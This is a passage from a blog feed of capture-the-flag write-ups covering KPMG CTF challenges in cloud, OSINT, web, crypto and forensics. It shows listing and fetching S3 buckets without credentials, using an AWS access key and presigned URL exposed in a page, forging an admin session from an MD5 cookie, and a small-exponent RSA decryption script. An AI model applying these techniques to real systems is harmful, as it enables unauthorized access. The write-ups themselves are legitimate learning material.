&lt;li&gt;Flag structure: CM{XXX-###_##}&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;CM{SHA256_unhashedvaluenumber}
CM{SHA-256_##}
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;So as We can see that we have made our flag as per format but there are 2 digits which still missing so, in this we have to do this,&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;As per previous code,&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;$value = (5 * eight) + (three * 6) - (two * 4)$&lt;/li&gt;
&lt;li&gt;$eight = 8, three = 3, two = 2$&lt;/li&gt;
&lt;li&gt;$(5 * 8) + (3 * 6) - (2 * 4)$&lt;/li&gt;
&lt;li&gt;$40 + 18 - 8 = 50$&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;So Here is The Flag,&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;CM{SHA-256_50}
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Cloud&lt;/h1&gt;
&lt;h2&gt;Cloudy Records&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;images/Cloud/Cloudy_Records/image.png&quot; alt=&quot;image.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;On the given website, I found nothing. I tried multiple things, like checking the request and response headers, but nothing got any info that it is not cloud.&lt;/li&gt;
&lt;li&gt;Then I try to do something that is very straight forward and that any lame hacker thinks like. I have a domain, so I have tried to see a &lt;code&gt;DNS lookup&lt;/code&gt; and &lt;code&gt;DNS records&lt;/code&gt; on this website: &lt;a href=&quot;https://dnschecker.org/&quot;&gt;&lt;code&gt;https://dnschecker.org/&lt;/code&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;And Oooo.. I got something here,&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Cloud/Cloudy_Records/image1.png&quot; alt=&quot;image.png&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;https://storage.googleapis.com/cloudcorps-important/
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;A Google storage link in TXT records, neet 🫡&lt;/li&gt;
&lt;li&gt;Then I try to access it, and this is what I got.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Cloud/Cloudy_Records/image2.png&quot; alt=&quot;image.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;There are some files mentioned like,
&lt;ol&gt;
&lt;li&gt;Hall_of_Hacks_1.pdf&lt;/li&gt;
&lt;li&gt;Hall_of_Hacks_2.pdf&lt;/li&gt;
&lt;li&gt;Hall_of_Hacks_3.pdf&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;li&gt;So Try to access those files through same URL by just appending files and B00M!!!!!!&lt;/li&gt;
&lt;li&gt;I got the flag.🫠&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;https://storage.googleapis.com/cloudcorps-important/Hall_of_Hacks_2.pdf
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;images/Cloud/Cloudy_Records/image3.png&quot; alt=&quot;image.png&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;CM{GCP_CloudStorage_Bucket_Challenge_20241018}
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Forensics&lt;/h1&gt;
&lt;h2&gt;QR-azy Mystery!&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;images/Forensics/QR-azy_Mystery/image.png&quot; alt=&quot;image.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;After downloading this file it looks like this,&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Forensics/QR-azy_Mystery/goneeeee.png&quot; alt=&quot;goneeeee.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;It is blurred QR-code so we have to make sharper so we can scan it properly,&lt;/li&gt;
&lt;li&gt;I have done this through https://picsart.com/create/editor?category=myFolders&amp;amp;projectId=671fb73d7ff5f51af2d7fee6 and here is the result,&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Forensics/QR-azy_Mystery/image1.png&quot; alt=&quot;image.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;And when i scanned it, I got the flag,&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Forensics/QR-azy_Mystery/9a53cc7a-6565-4952-8e02-990f895a6681.png&quot; alt=&quot;image.png&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;flag{3efd4bd34663e618c70e051505c83f9f}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Dialing for Danger&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;images/Forensics/Dialing_for_Danger/image.png&quot; alt=&quot;image.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;When I open this file it gives me random numbers,&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;4 666 555 3 33 66 0 4 2 8 33 0 22 777 444 3 4 33
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;It looks like cipher so let’s identify which type of cipher is it,&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Forensics/Dialing_for_Danger/image1.png&quot; alt=&quot;image.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;It is a &lt;code&gt;Multi-Tap Phone (SMS)&lt;/code&gt; Encoding Scheme&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Forensics/Dialing_for_Danger/image2.png&quot; alt=&quot;image.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;And When I decrypt it I found this 3 strings so we have to make flag from it as per description and Gochaa!! Flag is correct!! 🫠&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;CM{GOLDEN_GATE_BRIDGE}
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>KPMG CTF Writeups Aug 2024</title><link>https://fuwari.vercel.app/posts/kpmg-ctf-writeups-aug-2024/kpmg_ctf_aug_2024/</link><guid isPermaLink="true">https://fuwari.vercel.app/posts/kpmg-ctf-writeups-aug-2024/kpmg_ctf_aug_2024/</guid><description>Some Writeups of KPMG 2024.</description><pubDate>Mon, 01 Apr 2024 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;KPMG CTF&lt;/h1&gt;
&lt;h1&gt;Welcome&lt;/h1&gt;
&lt;p&gt;&lt;img src=&quot;images/Screenshot_2024-08-11_123235.png&quot; alt=&quot;Screenshot 2024-08-11 123235.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;We can directly cat the flag file from the website terminal,&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Screenshot_2024-08-11_172821.png&quot; alt=&quot;Screenshot 2024-08-11 172821.png&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;Cloud&lt;/h1&gt;
&lt;h2&gt;Presign Rains&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;images/Screenshot_2024-08-11_122031.png&quot; alt=&quot;Screenshot 2024-08-11 122031.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Here, after completing the cloud challenge, I was excited to solve this challenge, but here we got a website link.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/31aed4b1-28a1-413b-9e54-02d2d992400e.png&quot; alt=&quot;Screenshot 2024-08-11 121823.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;From the website, there is no hint related to flag, so I looked at the source code:&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/d8a90ed0-f0ab-48fa-909e-208ff0d81747.png&quot; alt=&quot;Screenshot 2024-08-11 121832.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Here we got the access key and bucket:&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;code&gt;access key →  AKIA33VJAWOZJLLBCU2A&lt;/code&gt;
&lt;code&gt;bucket: ctf2k24-best&lt;/code&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;First, I thought of using AWS cli, but it also needs a secret key and region. So I tried reconnaissance further, and it led to robots.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/83d9f2f4-f3d7-4346-bf29-1ef5303cf54c.png&quot; alt=&quot;Screenshot 2024-08-11 121852.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Here we got many things. I thought there would be credentials in this directory, but these were the credentials. 
the robot directory:&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/d2850b70-f761-470c-baf4-ff55f7b03b0e.png&quot; alt=&quot;Screenshot 2024-08-11 121909.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Link :- [&lt;code&gt;https://&amp;lt;bucket-name&amp;gt;.s3.us-east-1.amazonaws.com/flag.txt?X-Amz-Algorithm=AWS4-HMAC-SHA256&amp;amp;X-Amz-Credential=&amp;lt;aws access key&amp;gt;%2F20240808%2F&amp;lt;region&amp;gt;%2Fs3%2Faws4_request&amp;amp;X-Amz-Date=&amp;lt;Date&amp;gt;&amp;amp;X-Amz-Expires=&amp;lt;expire-time&amp;gt;&amp;amp;X-Amz-SignedHeaders=host&amp;amp;X-Amz-Signature=](https://ctf2k24-best.s3.us-east-1.amazonaws.com/flag.txt?X-Amz-Algorithm=AWS4-HMAC-SHA256&amp;amp;X-Amz-Credential=AKIA33VJAWOZJLLBCU2A%2F20240808%2Fus-east-1%2Fs3%2Faws4_request&amp;amp;X-Amz-Date=20240808T094405Z&amp;amp;X-Amz-Expires=604800&amp;amp;X-Amz-SignedHeaders=host&amp;amp;X-Amz-Signature=5625d8f847a29410e05b91df5628d6d2fa8146eed792c0ae048279798853d1b9)&amp;lt;singature&amp;gt;&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;From this link, it was clear that the credential can be used here, and we will get the flag.&lt;/li&gt;
&lt;li&gt;Credential used here:&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;code&gt;bucket -&amp;gt; ctf2k24-best&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;access key →  AKIA33VJAWOZJLLBCU2A&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;Expires → 604800&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;date → 20240808T094405Z&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;region → us-east-1&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;signature → 5625d8f847a29410e05b91df5628d6d2fa8146eed792c0ae048279798853d1b9&lt;/code&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Update Link :- &lt;a href=&quot;https://ctf2k24-best.s3.us-east-1.amazonaws.com/flag.txt?X-Amz-Algorithm=AWS4-HMAC-SHA256&amp;amp;X-Amz-Credential=AKIA33VJAWOZJLLBCU2A%2F20240808%2Fus-east-1%2Fs3%2Faws4_request&amp;amp;X-Amz-Date=20240808T094405Z&amp;amp;X-Amz-Expires=604800&amp;amp;X-Amz-SignedHeaders=host&amp;amp;X-Amz-Signature=5625d8f847a29410e05b91df5628d6d2fa8146eed792c0ae048279798853d1b9&quot;&gt;&lt;code&gt;https://ctf2k24-best.s3.us-east-1.amazonaws.com/flag.txt?X-Amz-Algorithm=AWS4-HMAC-SHA256&amp;amp;X-Amz-Credential=AKIA33VJAWOZJLLBCU2A%2F20240808%2Fus-east-1%2Fs3%2Faws4_request&amp;amp;X-Amz-Date=20240808T094405Z&amp;amp;X-Amz-Expires=604800&amp;amp;X-Amz-SignedHeaders=host&amp;amp;X-Amz-Signature=5625d8f847a29410e05b91df5628d6d2fa8146eed792c0ae048279798853d1b9&lt;/code&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;After visiting the link,&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Screenshot_2024-08-11_121954.png&quot; alt=&quot;Screenshot 2024-08-11 121954.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Here, I thought that I had to use this directory in the link:&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/image.png&quot; alt=&quot;image.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;I got an error, then I tried using this directory path on the link they have provided and i got the flag, 🫡&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Screenshot_2024-08-11_122009.png&quot; alt=&quot;Screenshot 2024-08-11 122009.png&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Data Valut Duel&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;images/Screenshot_2024-08-11_122022.png&quot; alt=&quot;Screenshot 2024-08-11 122022.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;From the description, I can see that the bucket name is given, which is publicly accessible, but I don’t have the AWS account, so I am not able to use AWS-cli directly, so I searched for this and got this AWS flag from searching.&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;aws s3 ls s3://kpmg-ctf1 --no-sign-reques
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;From this command, I got some info about the bucket, like the available files in it, and one of the files is &lt;code&gt;rituognriteuonhbiorentgbvhuitrhoirtsnbiuort.txt&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/image%201.png&quot; alt=&quot;image.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;but without credentials, I can’t access this, so again, I tried to google how I could access it, and I found that using &lt;code&gt;wget&lt;/code&gt; or &lt;code&gt;curl&lt;/code&gt;, we can directly access that S3 bucket.&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;curl -O https://kpmg-ctf1.s3.ap-south-1.amazonaws.com/rituognriteuonhbiorentgbvhuitrhoirtsnbiuort.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;Using this command, I can curl the flag directly. hehe Piece of Cake 🫠&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/image%202.png&quot; alt=&quot;image.png&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;OSINT&lt;/h1&gt;
&lt;h2&gt;Hacking The Admins&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;images/Screenshot_2024-08-11_121938.png&quot; alt=&quot;Screenshot 2024-08-11 121938.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;From the text I guess that we have to search for the name &lt;code&gt;Raghava Sai Sarva&lt;/code&gt; and I got a LinkedIn link:&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Screenshot_2024-08-11_122125.png&quot; alt=&quot;Screenshot 2024-08-11 122125.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;There is a hash in the description it is a base64 hash:&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;TmV2ZXlgZ29ubmEgZ212ZSB5b3UgdXAKTmV2ZXlgZ29ubmEgbGVOlHlvdSBkb3duCk51dmVylGdvbm5hlHJ1 bmQ gYW5klGRlc2VydCB5b3UKTmV2ZXlgZ29ubmEgbWFrZSB5b3UgY3J5Ck51dmVylGdvbm5hlHNheSBnb29kYnllCk51dmVylGdvbm5hlHRlbGwgYSBsaWUgYW5klGh 1 cnQgeW91 CgpodHRwczovBBhc3RlYmluLmNvbS9uWm1 ibkJRMyAtlG 1 lb3c=&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;After decoding using CyberChef:&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Screenshot_2024-08-11_122141.png&quot; alt=&quot;Screenshot 2024-08-11 122141.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;I got a Pastebin link, let go and see what is there in the link:&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Screenshot_2024-08-11_122210.png&quot; alt=&quot;Screenshot 2024-08-11 122210.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;From Previous Pastebin I got LinkedIn link and text that tells me to check the discord of &lt;code&gt;eren_meow&lt;/code&gt; account,&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/image%203.png&quot; alt=&quot;image.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Here we got a base58 hash:&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/image%204.png&quot; alt=&quot;image.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;let&apos;s go to the link::&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/image%205.png&quot; alt=&quot;image.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;It password Protected so check out the discord account mentioned previously &lt;code&gt;eren_meow&lt;/code&gt;, then let check the discord:&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/image%206.png&quot; alt=&quot;image.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;here we got an hash that is Base58:&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/image%207.png&quot; alt=&quot;image.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Then We open the pastebin using &lt;code&gt;meowsaurabh123!&lt;/code&gt; password,&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Screenshot_2024-08-11_122922.png&quot; alt=&quot;Screenshot 2024-08-11 122922.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Here again we got a LinkedIn link and a brainfuck code:&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Screenshot_2024-08-11_122959.png&quot; alt=&quot;Screenshot 2024-08-11 122959.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;In the LinkedIn they have given a &lt;code&gt;pastebin link&lt;/code&gt;:&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/image%208.png&quot; alt=&quot;image.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;I got the flag 🫡&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Screenshot_2024-08-11_123047.png&quot; alt=&quot;Screenshot 2024-08-11 123047.png&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;Web&lt;/h1&gt;
&lt;h2&gt;Memorandum Dissolve 5&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;images/Screenshot_2024-08-11_122059.png&quot; alt=&quot;Screenshot 2024-08-11 122059.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;In this Challenge I got an login page:&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Screenshot_2024-08-11_121108.png&quot; alt=&quot;Screenshot 2024-08-11 121108.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;As I first checked the source code of the page(which i think is a best practice), Here, they have provided the test username and password&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Screenshot_2024-08-11_121108%201.png&quot; alt=&quot;Screenshot 2024-08-11 121158.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;after logging in, I got a Welcome page, here I opened the inspect tool, for checking if there is any cookie is being used and i got the session cookie&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Screenshot_2024-08-11_121212.png&quot; alt=&quot;Screenshot 2024-08-11 121212.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;The session looked like it was an md5 hash so i tried to crack it using online decoder(&lt;a href=&quot;https://md5hashing.net/hash/md5/2cb42f8734ea607eefed3b70af13bbd3&quot;&gt;https://md5hashing.net/hash/md5/2cb42f8734ea607eefed3b70af13bbd3&lt;/a&gt;):&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;MD5 hash:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;test → 098f6bcd4621 d373cade4e832627b4f6&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;As I suspected, the session key is the username so i tried using admin md5 hash as a session key&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;MD5 hash:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;admin → 21232f297a57a5a743894aee4a801fc3&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Screenshot_2024-08-11_121457.png&quot; alt=&quot;Screenshot 2024-08-11 121457.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;images/Screenshot_2024-08-11_121506.png&quot; alt=&quot;Screenshot 2024-08-11 121506.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;And we got the Flag. 🫡&lt;/p&gt;
&lt;h1&gt;ISC&lt;/h1&gt;
&lt;h2&gt;Assassins Brotherhood - 1&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;images/Screenshot_2024-08-11_121950.png&quot; alt=&quot;Screenshot 2024-08-11 121950.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;As per the description, we have given the URL, host, and port.&lt;/li&gt;
&lt;li&gt;First, I do the &lt;code&gt;http://0.cloud.chals.io 27232&lt;/code&gt; And from this, I know that on this port, SSH is running By showing the SSH header, I got.&lt;/li&gt;
&lt;li&gt;After that i try to access the website,&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Screenshot_2024-08-11_120328.png&quot; alt=&quot;Screenshot 2024-08-11 120328.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;After that, I viewed the page source, and I got this from it&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Screenshot_2024-08-11_120340.png&quot; alt=&quot;Screenshot 2024-08-11 120340.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;And I said I knew that one server, SSH, was running, and this statement pointed out the username and password of the &lt;code&gt;Ezio&lt;/code&gt; user, so i try to connect with SSH,&lt;/li&gt;
&lt;li&gt;Connected Successfully and got flag on &lt;code&gt;ezio.txt&lt;/code&gt; file, 🫠&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Screenshot_2024-08-11_120528.png&quot; alt=&quot;Screenshot 2024-08-11 120528.png&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;Crypto&lt;/h1&gt;
&lt;h2&gt;Micro RSA&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;images/Screenshot_2024-08-11_122040.png&quot; alt=&quot;Screenshot 2024-08-11 122040.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;From this challenge i got values.txt file which contains this information,&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;n=124654455290240170438072831687154216330318678151127912274279675542477378324205547190448356708255017687037267403854771170485302392671467974951403923256433631043504787586559727625072674672756729381597771352105733117303538360769540765664178969569213281846028712352533347099724394655235654023223677262377960566427
e=3
c=11127001790949419009337112638492797447460274274218482444358708583659626034144288836997001734324915439994099506833199252902923750945134774986248955381033641128827831707738209340996252344658078512599270181951581644119582075332702905417250405953125
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;I make a python script which performs &lt;code&gt;RSA encryption padding attack&lt;/code&gt;,&lt;/li&gt;
&lt;li&gt;Reference - &lt;a href=&quot;https://shainer.github.io/crypto/matasano/2017/10/14/rsa-padding-oracle-attack.html&quot;&gt;https://shainer.github.io/crypto/matasano/2017/10/14/rsa-padding-oracle-attack.html&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;from decimal import *
from tqdm import tqdm

N = Decimal(124654455290240170438072831687154216330318678151127912274279675542477378324205547190448356708255017687037267403854771170485302392671467974951403923256433631043504787586559727625072674672756729381597771352105733117303538360769540765664178969569213281846028712352533347099724394655235654023223677262377960566427)
e = Decimal(3)
c = Decimal(11127001790949419009337112638492797447460274274218482444358708583659626034144288836997001734324915439994099506833199252902923750945134774986248955381033641128827831707738209340996252344658078512599270181951581644119582075332702905417250405953125)

def int_to_ascii(m):
    # Decode to ascii (from https://crypto.stackexchange.com/a/80346)
    m_hex = hex(int(m))[2:-1]  # Number to hex
    m_ascii = &quot;&quot;.join(
        chr(int(m_hex[i : i + 2], 16)) for i in range(0, len(m_hex), 2)
    )  # Hex to Ascii
    return m_ascii

# Find padding
getcontext().prec = 280  # Increase precision
padding = 0
for k in tqdm(range(0, 10_000)):
    m = pow(k * N + c, 1 / e)
    m_ascii = int_to_ascii(m)

    if &quot;pico&quot; in m_ascii:
        padding = k
        break

print(&quot;Padding: %s&quot; % padding)

# Increase precision further to get entire flag
getcontext().prec = 700

m = pow(padding * N + c, 1 / e)
m_ascii = int_to_ascii(m)
print(&quot;Flag: %s&quot; % m_ascii.strip())
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;After Running this script, I got the flag!!&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;KPMG_CTF{sm4ll_e_15_n07_s0_s3cur3}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Crypts Beyond The Wall&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;images/Screenshot_2024-08-11_122048.png&quot; alt=&quot;Screenshot 2024-08-11 122048.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;When I tried to access the website, I got this:&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Screenshot_2024-08-11_121641.png&quot; alt=&quot;Screenshot 2024-08-11 121641.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;Winter is Coming&lt;/code&gt;: If you are a true fan of Game of Thrones, then you know this line:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Now I try to open the source code, and from that I get this comment:&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Screenshot_2024-08-11_121653.png&quot; alt=&quot;Screenshot 2024-08-11 121653.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;When I tried to decode this encoded base64 string, I got &apos;Tormund.txt&apos;.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Screenshot_2024-08-11_121714.png&quot; alt=&quot;Screenshot 2024-08-11 121714.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Then I tried to access that page, and I got this:&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/90089407-275f-47cd-8ce0-21fdcbaa082d.png&quot; alt=&quot;Screenshot 2024-08-11 121739.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;And from that page, I got another &lt;code&gt;BeyondTheWallsLogs.txt&lt;/code&gt; and a hint &lt;code&gt;giantsmik&lt;/code&gt; file, which gives me,&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/419ea733-af89-456e-a1d1-ba9fc3debd3c.png&quot; alt=&quot;Screenshot 2024-08-11 121759.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;From this image, I got a cipher text, which I think is &lt;code&gt;vigenere cipher&lt;/code&gt; so I tried to decode it with the key &lt;code&gt;giantsmilk&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Screenshot_2024-08-11_121837.png&quot; alt=&quot;Screenshot 2024-08-11 121837.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;From that, I got &lt;code&gt;/S3cr3Ts0ftH3Wa1L4nD83YonD.html&lt;/code&gt; and from this file, I got the flag.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/aad01799-9b30-44df-81c1-e72bf2cf4ae6.png&quot; alt=&quot;Screenshot 2024-08-11 121903.png&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;Mobile&lt;/h1&gt;
&lt;h2&gt;Android CryptoQuest&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;images/Screenshot_2024-08-11_122111.png&quot; alt=&quot;images/Screenshot_2024-08-11_122111.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
